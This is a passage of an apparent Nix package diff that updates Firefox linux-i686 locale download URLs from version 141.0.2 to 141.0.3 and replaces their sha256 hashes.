-      sha256 = "2605346c7bd09d6452fffe4634047eae504786924e13a0c38583630d69ac56e5";
+      sha256 = "4690f593af76a7c6be8c7ea146fdfbf64545aa2a4c641bde6e4dc45eece202da";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/gd/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/gd/firefox-141.0.3.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "6b4aad226797dee0a5149660157814d3801c52c6c37149226bfc8a8ace3f07b8";
+      sha256 = "bc1e3e34ce83f4e71f49c0e33e85f2145dba4bc3f8210bc1ab839d6e7a377b56";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/gl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/gl/firefox-141.0.3.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "b8c9587de8e2d4e540065beb14583af562f34837779ced4240ba222dfe0559b6";
+      sha256 = "b154b62ee61194f46585cda915853d47c12aee25645d50417d171fa2e9601a19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/gn/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/gn/firefox-141.0.3.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "999153d1960f5b3e6a3e5863f9eedfb4f377d39191db2c65def7d16fe93af15f";
+      sha256 = "6ab50dc644867074e308710706bad29f824702da4ef1ecaf72a6e75ec4fcb7c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/gu-IN/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/gu-IN/firefox-141.0.3.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "006e85efecffb0ebef2cb67cd5a1cca44ed88347aaf0fd81974e870a4e8748e8";
+      sha256 = "68ee4b47d52a6412bfc5c0fbba871368fb6ea1d32020609e4fbb41c52f9d03c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/he/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/he/firefox-141.0.3.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "67819264ec764455fef6716845cb842ee6d07508441f70feb980916a3d902131";
+      sha256 = "c2a8e6896a9a0255a554a80ce574846e3b52a100a718610e17b29b6a2173d104";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/hi-IN/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/hi-IN/firefox-141.0.3.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "6c54ca8705702c0ec1b4ff264e6edf023381c6949e9989db4bef5ef9a2555fb9";
+      sha256 = "9d7dd9aa634163cdcd137639aa62ab4d8762d52f9de2fd767e53ae395bbeabc8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/hr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/hr/firefox-141.0.3.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "1bb31add406d75fde89d18bb4b94881770c7c1b670372e51ab290f30538b35be";
+      sha256 = "1af3da92a14d37503be94b758663165f5581d9aedece04662bdc7dcc7bdd7ff6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/hsb/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/hsb/firefox-141.0.3.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "802a82f752e408fc2b0dabc3f1886d3c6c986db8428381f7a5d3e3d6698ae999";
+      sha256 = "64b6bb6f9a79cff6ac16a274245440d554867f8e147dbc9bd780af671e92774a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/hu/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/hu/firefox-141.0.3.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "500ccbad0d31acb437d3440688d3dc71585ac915b3c88053b0d685f0cdbf46a8";
+      sha256 = "332b5049a77a2fda85677df4c21c9d785fd09df53e2975c8d501fa401dd8fa6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/hy-AM/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/hy-AM/firefox-141.0.3.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "cc3d8b186e0c3ded2927600d0881bce11c7e9a9edaa96a2c56789af71a9ba607";
+      sha256 = "6510f66985d4ca96960a64dd56808a3f0b6d655c93cf9b7ca5d925ff3cf6c5ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ia/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ia/firefox-141.0.3.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "52c8992582eed15f20da5410e1912a118ee244cadf9088a3d738711d229509f2";
+      sha256 = "616f6855964f20c760d5c88ae375641769fd9f3c1819499de0557285d05245f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/id/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/id/firefox-141.0.3.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "261d05f63c04b7852b8059ee2d7958a1deb04c6af7dd6235ddd319ad1b4710a7";
+      sha256 = "2148705494600dfb0a054b84a108294dadd80b792b4bc066ea6b9a6fdec85ed8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/is/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/is/firefox-141.0.3.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "36734da799e697c5adb70bc7c45cf26252b74b28ceb33ee49e118218e436d6a0";
+      sha256 = "f5b0bf1b5abde821bf2d351aea172fbd70d03ea8f0108c8b4848a9c72ff74f69";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/it/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/it/firefox-141.0.3.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "9243a895a88f95bc9c34b55d034e88898deaa4b5999737ee4696ce1b13533219";
+      sha256 = "c68e6398ecf2340b9516089feb915a55401a23a1d4138895d44641aad1091ad5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ja/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ja/firefox-141.0.3.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "525e5edf1533f5721228a4583b82a7f7cda1861d4fe69e35f3490fb8b644b365";
+      sha256 = "279d36dc35f593b9c68c46340a20b97b70bae6d3494b7d5ee96a113a7722e27c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ka/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ka/firefox-141.0.3.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "b574a059b5f90adb77f4bc70d45b1bcc86d135a31b70d332d46819e7539e37d1";
+      sha256 = "4486869af0c7f5914cebac5f2a74367d9f004a5e0fdc8e6873401c7c0ef4499f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/kab/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/kab/firefox-141.0.3.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "3f4d1b1afa254ce4370381c2331d3769e1143c79942152b2bfaaaa7775e7ec40";
+      sha256 = "e1e3a336cfcd28c0f5c1397f30518c05faa32c0dbe0876a99e531a8bfa5b6aec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/kk/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/kk/firefox-141.0.3.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "6e27ffda7a26e0f13c406e40f6c121e8970f41a44fea11709ff632373357db81";
+      sha256 = "27da62cc3e408b942c0927267777b7e2d1be0ca574cca7f17337e8c688e7026e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/km/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/km/firefox-141.0.3.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "2c83e618491dc6fd4709d175e1c141f4fe1cef556755c174716a57e531eae54b";
+      sha256 = "8db765bb108f2038dacc7aee071903b1ffb910c4b10aad87bec6013db7ef4355";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/kn/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/kn/firefox-141.0.3.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "5739ca927327f027830eee64a41284f5b319e5d35aa7fe429d5c8c3c0615cf91";
+      sha256 = "cc44ac2dfad32c45d848323f5054870ca637cd909145716d32b58ca95a396d18";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ko/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ko/firefox-141.0.3.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "5152069fcab04e7f92983e5bb7388a1ebcf5b528cc9fa7321bcd9200ca0fd0f3";
+      sha256 = "058c043c7414f3ec6fa71d2fc62a894b0261eb9b922b3a201e4bcfecb4614214";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/lij/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/lij/firefox-141.0.3.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "249b7f2a3c1a0a82b5bc4efd5df6bc7bee1f3412bcba450306453401e3ee196e";
+      sha256 = "7534342ba4d7b8698c3a1b337dbaabf287fd6bb015ac3ca49e2710a1b9178f27";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/lt/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/lt/firefox-141.0.3.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "c97572bcc20ca1bb5efc1b61a34ba17546d042923a0aa88b53eabcf95907414a";
+      sha256 = "8905db0bf688308e7ab00947a02fbd4d8e635819ffb47074e8f1ab88bd97a7cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/lv/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/lv/firefox-141.0.3.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "1916cd9115d51b5aa729d6565062077212d07500f43b64fce39c5ff97d8d3570";
+      sha256 = "e30336009649d3b6245b902b3991de1a8c051ef8cbbf59c032e3870f55891e2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/mk/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/mk/firefox-141.0.3.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "a75b9d2f0fd8957ab61121267eb483aff61690e0c5264d66b0165a2c843b5b3f";
+      sha256 = "e987c8a0a465bcd0a8a44c60b6099456ca33fa2bda45c91d5d7bd5ec89b0b5fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/mr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/mr/firefox-141.0.3.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "bf5ebcf0cc1ad1d817b8fe4a86fd3d3e308c8a7beab13541d0834160f94e7a71";
+      sha256 = "deca7494d6d5be56c4d4552815ce6cfa2827ca36d71994eb41277bdc4e6d1da8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ms/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ms/firefox-141.0.3.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "009396ed2e150f03ccf0bfdcebe76a1744f1d4813921b11a4d9efa147a23e52d";
+      sha256 = "ee8f4bc73f5f15a794e827b8eaed14d4d7b1d80572dcef1a1b34dd123495e8fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/my/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/my/firefox-141.0.3.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "37272f59a2d08dd68fdefa590979ec11dd4277ea1d5cd93a41ea10e93a024bda";
+      sha256 = "3d22a28e3b532aca6003f308c16066c9f5c65a9ef1879139cc768b4aabfaa58a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/nb-NO/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/nb-NO/firefox-141.0.3.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "1d768db0282a421909811f5f1ba159a501b0a72a287edce9590b3af53cbe76f8";
+      sha256 = "029fc76180e5fae9269823b9e1d1b4e93811a786d3e03234e916724e61c29758";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ne-NP/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ne-NP/firefox-141.0.3.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "7f58427ef62cf5daa37e74ddd52f16ab0ce31bb55f18e64ba893575529b78ac6";
+      sha256 = "70ce7680d3ae733bc7126175051637171b95b213419ac77b946463f5808e7bbf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/nl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/nl/firefox-141.0.3.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "50e560ff081ab67e2423b0188115ddfeac02a3ff385e55a08b78320868c7ccff";
+      sha256 = "9f351f5accac0fa2f0d1629634a3637021e17e43077cd72cb934164d28ae4bba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/nn-NO/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/nn-NO/firefox-141.0.3.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "a9b75217eb2cbc5741eebe25afb2018aadeeeb7c4502430bb8a1155a4306f187";
+      sha256 = "291eeed795bc674079b84603af989a80874903f25fe5fb4e3dbe662a60be7cbc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/oc/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/oc/firefox-141.0.3.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "fad341c29c68e07d73015f61eb7afb87986ca38ed40295c75c813abe056148c7";
+      sha256 = "4d5a5f4a284596c6e3f2a379edbae1ee13dee348765dbc4dcbac0ac4393855d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/pa-IN/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/pa-IN/firefox-141.0.3.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "dafd778f18ccca5366d1089d1bd7b701b6744dd558c9bc7faed55a144637bdc6";
+      sha256 = "f869cbf5be62cca880d7e399699b8118e11e852306f6c845238014affa439904";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/pl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/pl/firefox-141.0.3.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "d58e3e1895f8b60b18eed4d4a2de83d12c50bc397c0e2d0756e85b5033f43aa4";
+      sha256 = "9a77a8d285f099ea48662fde12b1d1cc32c09b12db161d1834ae2a745251bd66";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/pt-BR/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/pt-BR/firefox-141.0.3.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "7fc2bfd1b132ad780f95b94fead81e98b5bdb83320c95790e2c192110b0f6a24";
+      sha256 = "e8897fb645e1586d39bd6f4f7a9000b81dd77c5226fdd803818f14ef36e6bfb0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/pt-PT/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/pt-PT/firefox-141.0.3.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "15c72329ddbf57ce8d4db4526794ffedbc59da125848de0f3247d2fc082e5568";
+      sha256 = "47ba2f64adf0c87f27fc633195944e9036128dbf4125784ab799604a4808a65d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/rm/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/rm/firefox-141.0.3.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "a86d9ea2e25a95b21c6c1d9430ac84ba2103e306fd17105a0b4f5dd9056c607d";
+      sha256 = "4e5bbdfddc36348ceb803b938df58d21c206a45f2164a27808478b3074838292";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ro/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ro/firefox-141.0.3.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "0ddc2bf1dcd873d1b68688860110fa35a25779ea98777bf9e457cad66e630d85";
+      sha256 = "62961ce7baf70cf994288796c27e382dd54762d2a2912e9c06d65f987bd202cd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ru/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ru/firefox-141.0.3.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "3567a81209b8742a7dd5d339953a63cdccb7caee98fcd069eff7cb01c49a7652";
+      sha256 = "2b3b6f8ec33ff4543e8385c34e845e83cc9db8ba8946bb6fc77294bb841879f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sat/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sat/firefox-141.0.3.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "42f4cf0e6323d1d4f04cb5fa0a48780ad8b73d4f1ea15dffdad223878cc70113";
+      sha256 = "f8b270f3e69117c49fc0275ccc40cb2aeb70fbca8e6994b977bf65f58ee7df61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sc/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sc/firefox-141.0.3.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "b2a48e251c2838fac841a6310522d02d7bd2e54412fd4ce09ef28d9200521475";
+      sha256 = "989aa6fdff893f79834fa10463c229377e3f3dac4d404a328e429522e6b4c1a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sco/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sco/firefox-141.0.3.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "1922269b1b118a8a38fd2e63c04a9ae0ca82e9059d0b1b7c7119a688198526d7";
+      sha256 = "ac619d732a4b622a12331304ae0855b06451ff34d106bc1536e8509ab4456df0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/si/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/si/firefox-141.0.3.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "6bed045ccb932341ca24abc940190150590806567f4a3341f87b30f1dc297e92";
+      sha256 = "04b19be537c54c12c0af20155f46ed0ede22942e8df9dbe438f16a8ecbdfd17b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sk/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sk/firefox-141.0.3.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "3ebbb59c6bc8698566f94342d386e6be0066886c458a1d529be59f8db864dce1";
+      sha256 = "2eda6c4e259c23cdbf17ea0c8ae713d4b3da101ee61c80ca9216d6f01bf28e69";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/skr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/skr/firefox-141.0.3.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "3097988989567d8dfa3abc2a3371fd836b1a073e8b31774c340fa67b21a4232a";
+      sha256 = "e592b838c7b836e0f1fd275838f654e4749afb1e8aa419b88fc1a4a1fc381672";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sl/firefox-141.0.3.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "974c59cb071fa7b4bff2450c33a6e799492aa26621570d6b7f64eddf1ca0c199";
+      sha256 = "5b80cb1645510697fd77b850728de50f40c36eec600107c3237cfd2f88f845c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/son/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/son/firefox-141.0.3.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "840d550e52da549772850bf6cc58aad24c68aa6a23226a6aa6df25213b15712b";
+      sha256 = "1f66b812c4119e7ac1bb76ce0efc1d944d3654908b623454472bcf4f271f35fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sq/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sq/firefox-141.0.3.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "78e58058f299ad186ce97373ec08bae0c2fd401143bae6ce6a0add7724a1c05e";
+      sha256 = "b1b2610364a96ccce01a52d4b07de1bdf5586f4694a8347a1d4fcb437083f1ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sr/firefox-141.0.3.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "28dbb154d036f5cc223b31959ecfed4d9089d90a4fe38b17126fbe7f27b15198";
+      sha256 = "c610dcabb04413eb39ba9f7d32651b5072c4ca587039046be6d454de8fbc65f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/sv-SE/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/sv-SE/firefox-141.0.3.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "1752740bc6b7fa893ddfd482384204ff5515b294475c09204958bbcbdd6a8fd9";
+      sha256 = "ab1e185e8960cc392c4827d43f8a3e1d2756d52c6613e16ff91c755eca047906";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/szl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/szl/firefox-141.0.3.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "259530de018383b8a51dce32b0f3e4b63110875af111a39f244d0ef3af0af731";
+      sha256 = "88e42adc490a4a393c8ed32a9b7ba94702340ca17396126b8897dc05004f26b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ta/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ta/firefox-141.0.3.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "24017e9e1c3482c80216af56bc83055544ba5e3354a579d940eb2a649a3eaf4d";
+      sha256 = "77e8703de79f79a544820b7a6ed061e9d680a08f1e58d445d9e7c3d067c79a7e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/te/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/te/firefox-141.0.3.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "c13f9eead65aa1f837ff4dc2e3280a39a6908d4a21239746c962b21fc67c2bc9";
+      sha256 = "5f7aa9b2a274666ff097c76b87c81525faea74547540ea6604b3645ae60f927c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/tg/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/tg/firefox-141.0.3.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "d8b0204b4a8ba3261c42abf1b4329fc7755f928ad7795bdfd70f81d62f72b49c";
+      sha256 = "92b73441177981f5de7a340fe90dd51a6d09e08acb8edc721f9d2eb510d7e37f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/th/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/th/firefox-141.0.3.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "530511b3900447ec14b19245ca052ddf59b74f921973daca67c78674304ee2f6";
+      sha256 = "63159b3d68581dd41cdb04842097f44b2098091f800dd57ac6a7b09f3df0ea7d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/tl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/tl/firefox-141.0.3.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "e52181d76e17c79f28e3dc664d26289d82a1bd697c7aecc50e277b1dff1900c5";
+      sha256 = "d2df5ca58aeb5ed14acf6227aad446fedeb9cf0447c5470763c95d67dd56b4ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/tr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/tr/firefox-141.0.3.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "46e1e405f10115f6897644697d66e72aaed2a4d41d8f3130b82e4eba445e9a69";
+      sha256 = "3817ce3d37ab5492dd26639e95654e4cd63ea6cfa6725a957055845eee51ed2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/trs/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/trs/firefox-141.0.3.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "7f1920ad1fb09367585fc4ef5c3f26d2b814e3e93d18209ee37eea95207df498";
+      sha256 = "c567b97771610f00f87ee9e4373e0867bb8f4d97dc42164348055c2f53a9014f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/uk/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/uk/firefox-141.0.3.tar.xz";
       locale = "uk";
       arch = "linux-i686";
